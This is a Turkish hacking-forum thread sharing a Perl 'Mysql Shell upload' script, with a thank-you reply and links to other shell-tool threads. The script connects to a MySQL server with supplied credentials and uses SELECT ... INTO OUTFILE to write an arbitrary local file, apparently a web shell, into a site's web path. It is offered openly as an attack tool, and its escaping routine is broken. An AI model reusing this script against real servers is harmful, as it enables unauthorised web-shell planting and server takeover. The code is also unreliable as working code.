Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
  • 1
  • 2
  • 3
  • 4
  • 5
MSQL Shell Upload Perl
#1
Kod:
#!/usr/bin/perl
# # # # # # # # # # # # # # # # # # # # #
# Mysql Shell upload                    #
# Coded by KingSkrupellos Cyberizm.Org                      #
# # # # # # # # # # # # # # # # # # # # #

use strict;
use warnings;
use DBI;
use DBD::mysql;
use IO::File;
use Term::ANSIColor qw(:constants);

sub main(){
print BOLD BLUE,"\n[*]",RESET," Mysql shell upload by KingSkrupellos";
print "\n\n\n";
print BOLD BLUE,"[*]",RESET," Host: ";
chomp(my $host = <stdin>);
print BOLD BLUE,"[*]",RESET," User: ";
chomp(my $user = <stdin>);
print BOLD BLUE,"[*]",RESET," Password: ";
chomp(my $pass = <stdin>);
print BOLD BLUE,"[*]",RESET," File of text , which will be uploaded to host : ";
chomp(my $arq = <stdin>);
print BOLD BLUE,"[*]",RESET," Path of site+Name of the final file:  ";
chomp(my $path = <stdin>);

my $dsn = "dbi:mysql::$host:3306";
my $dbh = DBI->connect($dsn, $user, $pass,{
PrintError => 0,
RaiseError => 0
});
if(!$dbh) { die(BOLD RED,"\n[-]",RESET," Connection error\n\n"); }

my $f = new IO::File;
$f->open("<$arq") or die $!;
my @file = <$f>;
chomp(@file);
my $text = join('',@file);
chomp($text);
&AddSlashes($text);
$f->close;

my $sth = $dbh->prepare('SELECT "' . $text . '" INTO OUTFILE "'.$path.'"');
if(!$sth->execute()){
print BOLD RED "\n[-]",RESET," Failed to make file\n\n";
exit;
} else {
print GREEN "\n[+]",RESET," File are create !!!\n\n";
exit;
}
}

sub AddSlashes()
{
    my $text = shift;
    $text =~ s///g;
    $text =~ s/'/\\'/g;
    $text =~ s/"/\\"/g;
    $text =~ s/0/0/g;
    return $text;
}

&main();
www.deccal.org


Beğenenler:
#2
eline sağlık exciting
İnsɑnlɑr değişmez değişen tek şey şɑrtlɑr ve çıkɑrlɑr...
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  CyB3RizM Beyaz Kodlar Hacking Tools Perl KingSkrupellos 264 15,481 21-11-2016, Saat: 17:30
Son Yorum: Mrxxx
  Cyberizm | Explorer Shell iMoGeN 186 12,374 19-11-2016, Saat: 10:38
Son Yorum: SheelWe
  vBulletin XML Shell (Tüm Versiyonlar) Ayar 8 229 24-10-2016, Saat: 22:27
Son Yorum: _CORTON_
  Joomla - WordPress PHP Shell ve Bruteforce Wordlist Materials KingSkrupellos 51 3,193 07-10-2016, Saat: 22:38
Son Yorum: Slowycan
  Zip Php shell Uploader H4Sec 5 377 16-09-2016, Saat: 11:23
Son Yorum: Slowycan
Anahtar Kelimeler

MSQL Shell Upload Perl indir, MSQL Shell Upload Perl Videosu, MSQL Shell Upload Perl Online izle, MSQL Shell Upload Perl Bedava indir, MSQL Shell Upload Perl Yükle, MSQL Shell Upload Perl Hakkında, MSQL Shell Upload Perl Nedir, MSQL Shell Upload Perl Free indir, MSQL Shell Upload Perl Oyunu, MSQL Shell Upload Perl Download


1 Ziyaretçi